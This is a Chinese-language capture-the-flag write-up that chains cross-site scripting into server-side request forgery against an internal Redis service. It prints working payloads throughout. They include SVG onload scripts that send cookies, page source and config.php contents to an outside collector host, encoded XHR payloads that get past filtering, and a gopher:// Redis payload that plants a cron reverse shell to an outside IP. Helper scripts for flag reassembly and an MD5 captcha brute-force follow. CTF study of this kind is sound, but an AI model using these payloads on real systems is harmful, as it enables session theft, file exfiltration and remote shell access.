The power of XSS WriteUp

学习了一下xss->ssrf->redis

level 1

不知道为啥,xss平台一直打不到手动就可以..
payload:<svg/onload="document.location='https://dyfuca.ceye.io/?'+document.cookie">
image_1d3at5i7r1e4n4fmt7b10vb494m.png-75.8kB
image_1d3at6ki31l221i03h0tqbt153i13.png-27.1kB

flag:FLAG{Sometimes, XSS can be critical vulnerability <script>alert(1)</script>}

给了我们一个管理员的session,提示我们flag2要打内网的redis。

level 2

修改成admin的session后:
image_1d3atoqmvhkc13p5b7nbtnso1g.png-38.5kB

打源码

1
2
3
<svg/onload="document.location='https://dyfuca.ceye.io/?'+btoa(document.body.innerHTML")  // 过滤了()

<svg/onload="&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#108;&#111;&#99;&#97;&#116;&#105;&#111;&#110;&#61;&#39;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#100;&#121;&#102;&#117;&#99;&#97;&#46;&#99;&#101;&#121;&#101;&#46;&#105;&#111;&#47;&#63;&#39;&#43;&#98;&#116;&#111;&#97;&#40;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#98;&#111;&#100;&#121;&#46;&#105;&#110;&#110;&#101;&#114;&#72;&#84;&#77;&#76;&#41">

image_1d3av33fj166qnbd2a1k9l1dsl1t.png-48.4kB

看源码看到一个request.php,让bot去访问一下,打一下html的源码。

1
2
3
4
5
6
7
8
9
10
11
12
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='https://155.94.177.154:55555/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("GET","request.php",true);
xmlhttp.send();
">

实体编码:

1
<svg/onload="&#120;&#109;&#108;&#104;&#116;&#116;&#112;&#61;&#110;&#101;&#119;&#32;&#88;&#77;&#76;&#72;&#116;&#116;&#112;&#82;&#101;&#113;&#117;&#101;&#115;&#116;&#40;&#41;&#59;&#10;&#120;&#109;&#108;&#104;&#116;&#116;&#112;&#46;&#111;&#110;&#114;&#101;&#97;&#100;&#121;&#115;&#116;&#97;&#116;&#101;&#99;&#104;&#97;&#110;&#103;&#101;&#61;&#102;&#117;&#110;&#99;&#116;&#105;&#111;&#110;&#40;&#41;&#10;&#123;&#10;&#32;&#32;&#32;&#32;&#105;&#102;&#32;&#40;&#120;&#109;&#108;&#104;&#116;&#116;&#112;&#46;&#114;&#101;&#97;&#100;&#121;&#83;&#116;&#97;&#116;&#101;&#61;&#61;&#52;&#32;&#38;&#38;&#32;&#120;&#109;&#108;&#104;&#116;&#116;&#112;&#46;&#115;&#116;&#97;&#116;&#117;&#115;&#61;&#61;&#50;&#48;&#48;&#41;&#10;&#32;&#32;&#32;&#32;&#123;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#32;&#100;&#111;&#99;&#117;&#109;&#101;&#110;&#116;&#46;&#108;&#111;&#99;&#97;&#116;&#105;&#111;&#110;&#61;&#39;&#104;&#116;&#116;&#112;&#58;&#47;&#47;&#49;&#53;&#53;&#46;&#57;&#52;&#46;&#49;&#55;&#55;&#46;&#49;&#53;&#52;&#58;&#53;&#53;&#53;&#53;&#53;&#47;&#63;&#39;&#43;&#98;&#116;&#111;&#97;&#40;&#120;&#109;&#108;&#104;&#116;&#116;&#112;&#46;&#114;&#101;&#115;&#112;&#111;&#110;&#115;&#101;&#84;&#101;&#120;&#116;&#41;&#59;&#10;&#32;&#32;&#32;&#32;&#125;&#10;&#125;&#10;&#120;&#109;&#108;&#104;&#116;&#116;&#112;&#46;&#111;&#112;&#101;&#110;&#40;&#34;&#71;&#69;&#84;&#34;&#44;&#34;&#114;&#101;&#113;&#117;&#101;&#115;&#116;&#46;&#112;&#104;&#112;&#34;&#44;&#116;&#114;&#117;&#101;&#41;&#59;&#10;&#120;&#109;&#108;&#104;&#116;&#116;&#112;&#46;&#115;&#101;&#110;&#100;&#40;&#41;&#59">

image_1d3b132ppm4pa3e12t41osmeqc2a.png-351.3kB
解码后:
image_1d3b1849pspg1eht1kv690g69c2n.png-43kB

所以我们给request.php传入的post参数为url=ip

结合robot.txt提示,读config.php。
image_1d3b1ce78i4ursl1gvvlli8j834.png-29.1kB

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='https://155.94.177.154:55555/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=file:///var/www/html/config.php");
">

编码后,打到
image_1d3b2e3pc1hbu1dg2fcv9j5biq3h.png-57.6kB

flag2:FLAG{curl -v -o flag --next flag://in-the.redis/the?port=25566&good=luck}

level 3

提示我们打内网redis,redis协议使用的是简单的文本流。
比如下面发送的tcp流数据,每行代表一条命令,下面是两个set命令

1
2
SET x 1
SET y 2

显然,如果是get型的ssrf他无法控制单独的一行(除非有crlf漏洞),p神这篇文章提到了这个点:https://www.leavesongs.com/PENETRATION/getshell-via-ssrf-and-redis.html

所以这里得用Gopher协议,可以以get形式发起post请求

用popherus生成了个弹shell的payload:

1
gopher://localhost:25566/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/155.94.177.154/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='https://155.94.177.154:5555/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=gopher://127.0.0.1:25566/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2469%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/155.94.177.154/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A");
">

但是弹不回来..

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
<svg/onload="
xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function()
{
if (xmlhttp.readyState==4 && xmlhttp.status==200)
{
document.location='https://155.94.177.154:55556/?'+btoa(xmlhttp.responseText);
}
}
xmlhttp.open("POST","request.php",true);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("url=gopher://127.0.0.1:25566/_lrange%2520flag%25200%252053%250a_quit");
">

image_1d3basv6lemp4e91akeq2m11v03u.png-35.8kB

处理一下flag格式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# coding:utf-8
file = open("flag.txt")
tmp = []
while 1:
line = file.readline()
tmp.append(line.replace("\n", ""))
if not line:
break
pass

flag = ""
for i in range(0, tmp.__len__())[::-1]:
flag += tmp[i]
print(flag)

image_1d3bboftp1b9u1m0fpk91g2em174b.png-224.8kB

再附上处理验证码的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashlib  
strs = '00000'
def md5(s):
return hashlib.md5(str(s).encode('utf-8')).hexdigest()

def main():
for i in range(100000,100000000):
tmp = "3f81ef4c8455e281"+str(i)
a = md5(tmp)
if a[0:5] == strs:
print(i)
exit(0)
if __name__ == '__main__':
main()